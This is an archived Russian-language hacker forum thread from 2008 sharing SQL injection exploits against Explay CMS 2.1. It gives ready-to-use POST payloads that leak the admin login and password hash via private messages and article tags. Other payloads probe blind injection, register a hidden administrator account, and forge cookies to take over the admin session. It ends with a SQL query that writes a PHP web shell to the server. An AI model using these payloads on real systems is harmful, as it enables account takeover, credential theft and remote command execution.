PDA

Просмотр полной версии : Explay CMS 2.1 множественные SQL inj + Exploit


Dr.Z3r0
30.10.2008, 23:35
Explay CMS 2.1

1) SQL injection
Need: magic_qoutes=Off
Вообщем уязвимый код приводить не буду. Опишу как заюзать.

Для эксплуатации необходим зарегестрированный юзер (далее U1). А также еще один юзер(U2) добавленный в друзья. Для обоих юзеров вы должны знать их id. Хочу еще обратить внимание на то что при эксплуатации этой уязвимости создается два ПМ сообщения, первое отправляется U2 в нем будет написанно только Hello, а второе сообщение будет содержать в себе админские логин/хеш и отправленно оно будет вам в ПМ.

Пакет к серверу составляем приблизительно вот такого типа:URL: http://explay/messages/write/
POST: user=[id U2]&header=Hello',':)',NULL,'old'),('',[id U1],[id U1],'Хеш',(SELECT CONCAT(user_login,0x3a,user_password) FROM expl_users WHERE user_id=1),NULL,'new') -- dd&body=xxx&submit=1&body=xxx&submit=1
COOKIE: [куки вашего юзера]

2) Blind SQL injection's
Need: magic_qoutes=Off
Их всего две штуки, для первой написанн эксплойт (смотрим в атаче)
Пакет составлять так:URL: http://explay/feedback/
POST: text=1&user_mail=ddd@dd.dd&mail=1' AND 1=IF(2>1,1,0) -- d
Либо для второй, но тут уже нужен зарегестрированный в системе юзерURL: http://explay/edit_profile/
POST: name=1&save=1&email=1' OR 1=IF(1=1,1,0) -- d
COOKIE: [куки вашего юзера]

3) Создание администратора.
Need: magic_qoutes=Off, register_globals=On
Чтобы создать юзера с правами админа, при регистрации нового юзера, указываем еще одну переменнуюPOST: nicq=1','','','','off','',0,0,'','off','','','','' ,'','','','','','',''), ('','login','9addbf544119efa4a64223b649750a510f0d4 63f','name','admin','1','xxx@xx.xx','1','','','',' off','',0,0,'','off','','','','','','','','','','' ,'') -- dв итоге создастся два юзера, один из них будет с правами администратора. Для этой уязвимости написанн эксплойт (ацкей сплоент на чистом html), с прикольным интерфейсом, смотрим в атаче

[x26]VOLAND
05.12.2008, 09:23
[Explay CMS <= 2.1] SQL Injection

Уязвимость позволяет получить хэш пароля любого пользователя.
Экслуатация уязвимости возможна при отключённой PHP-директиве magic_quotes_gpc.

Для получение пароля необходимо добавить статью (http://[explay]/my_articles/add/) с кодом специально сформированного SQL-запроса в поле art_body (то есть основной текст статьи).

Код добавления новой статьи:
modules/articles/mysql.class.php
public function add_article ($art) {
$this->db->query ("INSERT INTO ".DB_PEREFIX."_articles VALUES (
0,
'".$art['art_category']."',
'".$art['art_header']."',
'".$art['art_body']."',
'".User::$properties['user_id']."',
'".time()."',
'".$art['art_comments']."',
'',
'',
'".$art['art_publik']."',
'no',
'".$art['art_visible']."',
'".$art['art_tags']."',
'0',
'',
'0',
'".$art['auto_tag']."'
)");
Составляем ядовитый "текст" статьи:

aaaaa',
(SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>'),
'1228445451',
'on',
'',
'',
'yes',
'no',
'on',
(SELECT concat_ws(0x3a, user_login, user_password) FROM expl_users WHERE user_login='<USER'S_LOGIN>'),
'0',
'',
'0',
'yes' )/*
Подзапрос (SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>') нужен для того, чтобы статья добавилась именно от нашего имени (так как узнать свой user_id не позволяет движок)

В итоге выполнится вот такой запрос:
INSERT INTO expl_articles VALUES ( 0,
'',
'some_title',
'aaaaa',
(SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>'),
'1228445451',
'on',
'',
'',
'yes',
'no',
'on',
(SELECT concat_ws(0x3a, user_login, user_password) FROM expl_users WHERE user_login='<USER'S_LOGIN>'),
'0',
'',
'0',
'yes' )
Результат вложенного запроса добавиться в виде "login:password" в поле Теги, напримерadmin:012ce7449da5b5afb89db5f32810 946ea94098e6

Но тут есть одна тонкость. Пароли могут шифроваться разными алгоритмами:
function expl_hash($str) {
if (function_exists('sha1'))
return sha1($str);
elseif (function_exists('mhash'))
return bin2hex(mhash(MHASH_SHA1, $str));
else
return md5($str);
}Тип хеша лекго определить по длине строки. (MD5 - 32 байта, SHA1 - 40 байт).

К великому счастью, в движке авторизация пользователя реализована только через Cookies, так что мы можем не брутить хэш, а просто создать куки login и pass с соответствующими значениями. Теперь мы админы.

Getting shell
Но это ещё не всё! Встроенный в админку интерфейс для выполнения произвольных SQL-запросов позволяет нам создать шелл (при условии включённого file_priv):
SELECT '<?php system($_GET["cmd"]) ?>' INTO OUTFILE 'путь_к_движку/shell.php'

procedure
05.12.2008, 13:15
А что в этих запросах значит
(SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>')
?

[x26]VOLAND
05.12.2008, 13:19
Тут мы должны получить свой собственный user_id, так как его необходимо указать при вставке, чтобы именно мы были автором статьи. Можно конечно и не указывать "WHERE user_login='<UR_LOGIN>'" и вписать к примеру единицу (user_id=1), но тогда автором будет сам админ =).
<UR_LOGIN> - наш логин (не путать с именем!).